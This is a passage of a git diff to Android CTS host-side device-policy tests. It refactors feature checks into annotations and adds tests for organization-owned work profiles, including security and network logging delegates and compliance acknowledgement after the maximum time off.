+        mUserId = mPrimaryUserId;
 
-            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setProfileOwner(
-                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-                fail("Failed to set profile owner");
-            }
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        if (!setProfileOwner(
+                DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                /*expectFailure*/ false)) {
+            removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set profile owner");
         }
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove profile owner.",
-                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
-        }
+        assertTrue("Failed to remove profile owner.",
+                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+
         super.tearDown();
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index 3c2440d..408ca48 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -16,9 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 import static com.android.cts.devicepolicy.DeviceAndProfileOwnerTest.DEVICE_ADMIN_COMPONENT_FLATTENED;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -29,6 +29,7 @@
 import android.platform.test.annotations.LargeTest;
 import android.stats.devicepolicy.EventId;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
@@ -38,11 +39,16 @@
 /**
  * Tests for organization-owned Profile Owner.
  */
+// We need managed users to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class OrgOwnedProfileOwnerTest extends BaseDevicePolicyTest {
     private static final String DEVICE_ADMIN_PKG = DeviceAndProfileOwnerTest.DEVICE_ADMIN_PKG;
     private static final String DEVICE_ADMIN_APK = DeviceAndProfileOwnerTest.DEVICE_ADMIN_APK;
     private static final String CERT_INSTALLER_PKG = DeviceAndProfileOwnerTest.CERT_INSTALLER_PKG;
     private static final String CERT_INSTALLER_APK = DeviceAndProfileOwnerTest.CERT_INSTALLER_APK;
+    private static final String DELEGATE_APP_PKG = DeviceAndProfileOwnerTest.DELEGATE_APP_PKG;
+    private static final String DELEGATE_APP_APK = DeviceAndProfileOwnerTest.DELEGATE_APP_APK;
+    private static final String LOG_TAG_PROFILE_OWNER = "profile-owner";
 
     private static final String ADMIN_RECEIVER_TEST_CLASS =
             DeviceAndProfileOwnerTest.ADMIN_RECEIVER_TEST_CLASS;
@@ -59,13 +65,12 @@
     private static final String TEST_LAUNCHER_APK = "TestLauncher.apk";
     private static final String TEST_LAUNCHER_COMPONENT =
             "com.android.cts.testlauncher/android.app.Activity";
-    private static final String QUIET_MODE_TOGGLE_ACTIVITY =
-            "com.android.cts.testlauncher/.QuietModeToggleActivity";
-    private static final String EXTRA_QUIET_MODE_STATE =
-            "com.android.cts.testactivity.QUIET_MODE_STATE";
     public static final String SUSPENSION_CHECKER_CLASS =
             "com.android.cts.suspensionchecker.ActivityLaunchTest";
 
+    private static final String USER_IS_NOT_STARTED = "User is not started";
+    private static final long USER_STOP_TIMEOUT_SEC = 60;
+
     protected int mUserId;
     private static final String DISALLOW_CONFIG_LOCATION = "no_config_location";
     private static final String CALLED_FROM_PARENT = "calledFromParent";
@@ -74,13 +79,8 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need managed users to be supported in order to create a profile of the user owner.
-        mHasFeature &= hasDeviceFeature("android.software.managed_users");
-
-        if (mHasFeature) {
-            removeTestUsers();
-            createManagedProfile();
-        }
+        removeTestUsers();
+        createManagedProfile();
     }
 
     private void createManagedProfile() throws Exception {
@@ -108,18 +108,11 @@
 
     @Test
     public void testCannotRemoveManagedProfile() throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
-
         assertThat(getDevice().removeUser(mUserId)).isFalse();
     }
 
     @Test
     public void testCanRelinquishControlOverDevice() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockScreenInfoTest", "testSetAndGetLockInfo",
                 mUserId);
 
@@ -140,36 +133,23 @@
 
     @Test
     public void testLockScreenInfo() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockScreenInfoTest", mUserId);
     }
 
     @Test
     public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
         // The Profile Owner should have access to all device identifiers.
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdentifiersTest",
                 "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mUserId);
     }
 
     @Test
     public void testDevicePolicyManagerParentSupport() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".OrgOwnedProfileOwnerParentTest", mUserId);
     }
 
     @Test
     public void testUserRestrictionSetOnParentLogged() throws Exception {
-        if (!mHasFeature|| !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DevicePolicyLoggingParentTest",
                     "testUserRestrictionLogged", mUserId);
@@ -185,9 +165,8 @@
 
     @Test
     public void testUserRestrictionsSetOnParentAreNotPersisted() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
                 "testAddUserRestrictionDisallowConfigDateTime_onParent", mUserId);
@@ -203,30 +182,18 @@
 
     @Test
     public void testPerProfileUserRestrictionOnParent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
                 "testPerProfileUserRestriction_onParent", mUserId);
     }
 
     @Test
     public void testPerDeviceUserRestrictionOnParent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
                 "testPerDeviceUserRestriction_onParent", mUserId);
     }
 
     @Test
     public void testCameraDisabledOnParentIsEnforced() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         try {
             runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
@@ -243,9 +210,6 @@
 
     @Test
     public void testCameraDisabledOnParentLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
                     runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DevicePolicyLoggingParentTest",
                             "testCameraDisabledLogged", mUserId);
@@ -261,36 +225,58 @@
                         .build());
     }
 
-    @FlakyTest(bugId = 137093665)
     @Test
     public void testSecurityLogging() throws Exception {
-        if (!mHasFeature) {
-            return;
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        testSecurityLoggingOnWorkProfile(DEVICE_ADMIN_PKG, ".SecurityLoggingTest");
+    }
+
+    @Test
+    public void testSecurityLoggingDelegate() throws Exception {
+        installAppAsUser(DELEGATE_APP_APK, mUserId);
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        try {
+            runDeviceTestsAsUser(DELEGATE_APP_PKG, ".WorkProfileSecurityLoggingDelegateTest",
+                    "testCannotAccessApis", mUserId);
+            // Set security logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".SecurityLoggingTest",
+                    "testSetDelegateScope_delegationSecurityLogging", mUserId);
+
+            testSecurityLoggingOnWorkProfile(DELEGATE_APP_PKG,
+                    ".WorkProfileSecurityLoggingDelegateTest");
+        } finally {
+            // Remove security logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".SecurityLoggingTest",
+                    "testSetDelegateScope_noDelegation", mUserId);
         }
+    }
+
+    private void testSecurityLoggingOnWorkProfile(String packageName, String testClassName)
+            throws Exception {
         // Backup stay awake setting because testGenerateLogs() will turn it off.
         final String stayAwake = getDevice().getSetting("global", "stay_on_while_plugged_in");
         try {
             // Turn logging on.
-            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".SecurityLoggingTest",
+            runDeviceTestsAsUser(packageName, testClassName,
                     "testEnablingSecurityLogging", mUserId);
             // Reboot to ensure ro.device_owner is set to true in logd and logging is on.
             rebootAndWaitUntilReady();
             waitForUserUnlock(mUserId);
 
             // Generate various types of events on device side and check that they are logged.
-            runDeviceTestsAsUser(DEVICE_ADMIN_PKG,".SecurityLoggingTest",
+            runDeviceTestsAsUser(packageName, testClassName,
                     "testGenerateLogs", mUserId);
             getDevice().executeShellCommand("whoami"); // Generate adb command securty event
             getDevice().executeShellCommand("dpm force-security-logs");
-            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".SecurityLoggingTest",
+            runDeviceTestsAsUser(packageName, testClassName,
                     "testVerifyGeneratedLogs", mUserId);
 
             // Immediately attempting to fetch events again should fail.
-            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".SecurityLoggingTest",
+            runDeviceTestsAsUser(packageName, testClassName,
                     "testSecurityLoggingRetrievalRateLimited", mUserId);
         } finally {
             // Turn logging off.
-            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".SecurityLoggingTest",
+            runDeviceTestsAsUser(packageName, testClassName,
                     "testDisablingSecurityLogging", mUserId);
             // Restore stay awake setting.
             if (stayAwake != null) {
@@ -310,9 +296,6 @@
 
     @Test
     public void testSetTime() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".TimeManagementTest", "testSetTime", mUserId);
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".TimeManagementTest",
                 "testSetTime_failWhenAutoTimeEnabled", mUserId);
@@ -320,9 +303,6 @@
 
     @Test
     public void testSetTimeZone() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".TimeManagementTest", "testSetTimeZone", mUserId);
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".TimeManagementTest",
                 "testSetTimeZone_failIfAutoTimeZoneEnabled", mUserId);
@@ -331,18 +311,13 @@
     @FlakyTest(bugId = 137088260)
     @Test
     public void testWifi() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
-            return;
-        }
+        assumeHasWifiFeature();
+
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".WifiTest", "testGetWifiMacAddress", mUserId);
     }
 
     @Test
     public void testFactoryResetProtectionPolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".FactoryResetProtectionPolicyTest", mUserId);
     }
 
@@ -350,18 +325,11 @@
     @Test
     @Ignore("b/145932189")
     public void testSystemUpdatePolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".systemupdate.SystemUpdatePolicyTest", mUserId);
     }
 
     @Test
     public void testInstallUpdate() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         pushUpdateFileToDevice("notZip.zi");
         pushUpdateFileToDevice("empty.zip");
         pushUpdateFileToDevice("wrongPayload.zip");
@@ -372,10 +340,6 @@
 
     @Test
     public void testIsDeviceOrganizationOwnedWithManagedProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceOwnershipTest",
                 "testCallingIsOrganizationOwnedWithManagedProfileExpectingTrue",
                 mUserId);
@@ -388,34 +352,21 @@
 
     @Test
     public void testCommonCriteriaMode() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".CommonCriteriaModeTest", mUserId);
     }
 
     @Test
     public void testAdminConfiguredNetworks() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".AdminConfiguredNetworksTest", mUserId);
     }
 
     @Test
     public void testApplicationHiddenParent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ApplicationHiddenParentTest", mUserId);
     }
 
     @Test
     public void testSetKeyguardDisabledFeatures() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".KeyguardDisabledFeaturesTest",
                 "testSetKeyguardDisabledFeatures_onParent", mUserId);
     }
@@ -434,10 +385,6 @@
 
     @Test
     public void testPersonalAppsSuspensionNormalApp() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         // Initially the app should be launchable.
         assertCanStartPersonalApp(DEVICE_ADMIN_PKG, true);
@@ -451,10 +398,6 @@
 
     @Test
     public void testPersonalAppsSuspensionInstalledApp() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         setPersonalAppsSuspended(true);
 
         installAppAsUser(TEST_IME_APK, mPrimaryUserId);
@@ -473,9 +416,7 @@
 
     @Test
     public void testPersonalAppsSuspensionSms() throws Exception {
-        if (!mHasFeature || !mHasTelephony) {
-            return;
-        }
+        assumeHasTelephonyFeature();
 
         // Install an SMS app and make it the default.
         installAppAsUser(SIMPLE_SMS_APP_APK, mPrimaryUserId);
@@ -502,10 +443,6 @@
 
     @Test
     public void testPersonalAppsSuspensionIme() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(TEST_IME_APK, mPrimaryUserId);
         setupIme(TEST_IME_COMPONENT, mPrimaryUserId);
         setPersonalAppsSuspended(true);
@@ -516,10 +453,6 @@
 
     @Test
     public void testCanRestrictAccountManagementOnParentProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".AccountManagementParentTest",
                 "testSetAccountManagementDisabledOnParent", mUserId);
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
@@ -532,6 +465,26 @@
         }
     }
 
+    @Test
+    public void testPermittedInputMethods() throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".InputMethodsTest", mUserId);
+    }
+
+    @Test
+    public void testPermittedInputMethodsLogged() throws Exception {
+        assertMetricsLogged(getDevice(), () ->
+                        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".InputMethodsTest",
+                                "testPermittedInputMethodsOnParent", mUserId),
+                new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+                        .setAdminPackageName(DEVICE_ADMIN_PKG)
+                        .setStrings(CALLED_FROM_PARENT, new String[0])
+                        .build(),
+                new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+                        .setAdminPackageName(DEVICE_ADMIN_PKG)
+                        .setStrings(CALLED_FROM_PARENT, new String[0])
+                        .build());
+    }
+
     private void setupIme(String imeComponent, int userId) throws Exception {
         // Wait until IMS service is registered by the system.
         waitForOutput("Failed waiting for IME to become available",
@@ -550,9 +503,6 @@
 
     @Test
     public void testScreenCaptureDisabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         setPoAsUser(mPrimaryUserId);
 
@@ -614,9 +564,6 @@
 
     @Test
     public void testSetPersonalAppsSuspendedLogged() throws Exception {
-        if (!mHasFeature|| !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
                     runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DevicePolicyLoggingTest",
                             "testSetPersonalAppsSuspendedLogged", mUserId);
@@ -632,9 +579,6 @@
 
     @Test
     public void testSetManagedProfileMaximumTimeOffLogged() throws Exception {
-        if (!mHasFeature|| !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
                     runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
                             "testSetManagedProfileMaximumTimeOff", mUserId);
@@ -652,36 +596,81 @@
 
     @Test
     public void testWorkProfileMaximumTimeOff() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
                 "testSetManagedProfileMaximumTimeOff1Sec", mUserId);
 
-        final String defaultLauncher = getDefaultLauncher();
+        toggleQuietMode(true);
+        // Verify that at some point personal app becomes impossible to launch.
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, SUSPENSION_CHECKER_CLASS,
+                "testWaitForActivityNotLaunchable", mPrimaryUserId);
+        toggleQuietMode(false);
+        // Ensure the profile is properly started before wipe broadcast is sent in teardown.
+        waitForUserUnlock(mUserId);
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
+                "testPersonalAppsSuspendedByTimeout", mUserId);
+    }
+
+    @Test
+    public void testWorkProfileMaximumTimeOff_complianceRequiredBroadcastDefault()
+            throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        // Very long timeout, won't be triggered
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
+                "testSetManagedProfileMaximumTimeOff1Year", mUserId);
+
         try {
-            installAppAsUser(TEST_LAUNCHER_APK, true, true, mPrimaryUserId);
-            setAndStartLauncher(TEST_LAUNCHER_COMPONENT);
             toggleQuietMode(true);
-            // Verify that at some point personal app becomes impossible to launch.
-            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, SUSPENSION_CHECKER_CLASS,
-                    "testWaitForActivityNotLaunchable", mPrimaryUserId);
+            waitForUserStopped(mUserId);
             toggleQuietMode(false);
-            // Ensure the profile is properly started before wipe broadcast is sent in teardown.
             waitForUserUnlock(mUserId);
+            // Ensure the DPC has handled the broadcast
+            waitForBroadcastIdle();
             runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
-                    "testPersonalAppsSuspendedByTimeout", mUserId);
+                    "testComplianceAcknowledgementRequiredReceived", mUserId);
+
+            // Ensure that the default onComplianceAcknowledgementRequired acknowledged compliance.
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
+                    "testComplianceAcknowledgementNotRequired", mUserId);
+
         } finally {
-            setAndStartLauncher(defaultLauncher);
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
+                    "testClearComplianceSharedPreference", mUserId);
+        }
+    }
+
+    @Test
+    public void testWorkProfileMaximumTimeOff_complianceRequiredBroadcastOverride()
+            throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        // Very long timeout, won't be triggered
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
+                "testSetManagedProfileMaximumTimeOff1Year", mUserId);
+        // Set shared preference that instructs the receiver to NOT call default implementation.
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
+                "testSetOverrideOnComplianceAcknowledgementRequired", mUserId);
+
+        try {
+            toggleQuietMode(true);
+            waitForUserStopped(mUserId);
+            toggleQuietMode(false);
+            waitForUserUnlock(mUserId);
+            // Ensure the DPC has handled the broadcast
+            waitForBroadcastIdle();
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
+                    "testComplianceAcknowledgementRequiredReceived", mUserId);
+
+            // Ensure compliance wasn't acknowledged automatically, acknowledge explicitly.
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
+                    "testAcknowledgeCompliance", mUserId);
+        } finally {
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
+                    "testClearComplianceSharedPreference", mUserId);
         }
     }
 
     @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
 
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerHelper",
@@ -693,37 +682,101 @@
 
     @Test
     public void testDeviceIdAttestationForProfileOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Test that Device ID attestation works for org-owned profile owner.
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdAttestationTest",
                 "testSucceedsWithProfileOwnerIdsGrant", mUserId);
 
     }
 
-    private void toggleQuietMode(boolean quietModeEnable) throws Exception {
-        final String str;
-        // TV launcher uses intent filter priority to prevent 3p launchers replacing it
-        // this causes the activity that toggles quiet mode to be suspended
-        // and the profile would never start
-        if (hasDeviceFeature("android.software.leanback")) {
-            str = quietModeEnable ? String.format("am stop-user -f %d", mUserId)
-                    : String.format("am start-user %d", mUserId);
-        } else {
-            str = String.format("am start-activity -n %s --ez %s %s",
-                    QUIET_MODE_TOGGLE_ACTIVITY, EXTRA_QUIET_MODE_STATE, quietModeEnable);
+    @Test
+    public void testNetworkLogging() throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        testNetworkLoggingOnWorkProfile(DEVICE_ADMIN_PKG, ".NetworkLoggingTest");
+    }
+
+    @Test
+    public void testNetworkLoggingDelegate() throws Exception {
+        installAppAsUser(DELEGATE_APP_APK, mUserId);
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        try {
+            runDeviceTestsAsUser(DELEGATE_APP_PKG, ".WorkProfileNetworkLoggingDelegateTest",
+                    "testCannotAccessApis", mUserId);
+            // Set network logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testSetDelegateScope_delegationNetworkLogging", mUserId);
+
+            testNetworkLoggingOnWorkProfile(DELEGATE_APP_PKG,
+                    ".WorkProfileNetworkLoggingDelegateTest");
+        } finally {
+            // Remove network logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testSetDelegateScope_noDelegation", mUserId);
         }
-        executeShellCommand(str);
+    }
+
+    private void testNetworkLoggingOnWorkProfile(String packageName, String testClassName)
+            throws Exception {
+        try {
+            // Turn network logging on.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testSetNetworkLogsEnabled_true", mUserId);
+
+            // Connect to websites from work profile, should be logged.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testConnectToWebsites_shouldBeLogged", mUserId);
+            // Connect to websites from personal profile, should not be logged.
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testConnectToWebsites_shouldNotBeLogged", mPrimaryUserId);
+
+            // Verify all work profile network logs have been received.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testRetrieveNetworkLogs_forceNetworkLogs_receiveNetworkLogs", mUserId);
+        } finally {
+            // Turn network logging off.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testSetNetworkLogsEnabled_false", mUserId);
+        }
+    }
+
+    @Test
+    public void testNetworkLoggingLogged() throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        assertMetricsLogged(getDevice(), () -> {
+            testNetworkLoggingOnWorkProfile(DEVICE_ADMIN_PKG, ".NetworkLoggingTest");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_NETWORK_LOGGING_ENABLED_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setInt(1)
+                .setStrings(LOG_TAG_PROFILE_OWNER)
+                .build(),
+           new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_NETWORK_LOGS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setStrings(LOG_TAG_PROFILE_OWNER)
+                .build(),
+           new DevicePolicyEventWrapper.Builder(EventId.SET_NETWORK_LOGGING_ENABLED_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setInt(0)
+                .setStrings(LOG_TAG_PROFILE_OWNER)
+                .build());
+    }
+
+    private void toggleQuietMode(boolean quietModeEnable) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
+                quietModeEnable ? "testEnableQuietMode" : "testDisableQuietMode", mPrimaryUserId);
     }
 
     private void setAndStartLauncher(String component) throws Exception {
         String output = getDevice().executeShellCommand(String.format(
                 "cmd package set-home-activity --user %d %s", mPrimaryUserId, component));
         assertTrue("failed to set home activity", output.contains("Success"));
-        output = getDevice().executeShellCommand(
-                String.format("cmd shortcut clear-default-launcher --user %d", mPrimaryUserId));
-        assertTrue("failed to clear default launcher", output.contains("Success"));
         executeShellCommand("am start -W -n " + component);
     }
+
+    private void waitForUserStopped(int userId) throws Exception {
+        waitForOutput("User is not unlocked.",
+                String.format("am get-started-user-state %d", userId),
+                s -> s.startsWith(USER_IS_NOT_STARTED), USER_STOP_TIMEOUT_SEC);
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
index bf90e78..9fd9bd6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
@@ -20,13 +20,14 @@
     private int mCurrentUserId;
 
     @Override
+    protected void assumeTestEnabled() throws Exception {
+        assumeHasSecureLockScreenFeature();
+    }
+
+    @Override
     public void setUp() throws Exception {
         super.setUp();
 
-        if (!mHasSecureLockScreen) {
-          return;
-        }
-
         if (!getDevice().executeShellCommand("cmd lock_settings verify")
                 .startsWith("Lock credential verified successfully")) {
             fail("Please remove the device screen lock before running this test");
@@ -38,19 +39,13 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasSecureLockScreen) {
-            getDevice().uninstallPackage(PKG);
-        }
+        getDevice().uninstallPackage(PKG);
 
         super.tearDown();
     }
 
     @Test
     public void testGetPasswordComplexity() throws Exception {
-        if (!mHasSecureLockScreen) {
-            return;
-        }
-
         assertMetricsLogged(
                 getDevice(),
                 () -> runDeviceTestsAsUser(PKG, CLS, mCurrentUserId),
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
index 35015df..eae5c48 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
@@ -15,18 +15,24 @@
  */
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_BACKUP;
+
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresProfileOwnerSupport;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.TemporaryIgnoreOnHeadlessSystemUserMode;
+
 import org.junit.Test;
 
 /**
  * Host side tests for profile owner.  Run the CtsProfileOwnerApp device side test.
  */
+@RequiresProfileOwnerSupport
 public class ProfileOwnerTest extends BaseDevicePolicyTest {
     private static final String PROFILE_OWNER_PKG = "com.android.cts.profileowner";
     private static final String PROFILE_OWNER_APK = "CtsProfileOwnerApp.apk";
-    private static final String FEATURE_BACKUP = "android.software.backup";
 
     private static final String ADMIN_RECEIVER_TEST_CLASS =
             PROFILE_OWNER_PKG + ".BaseProfileOwnerTest$BasicAdminReceiver";
@@ -40,67 +46,75 @@
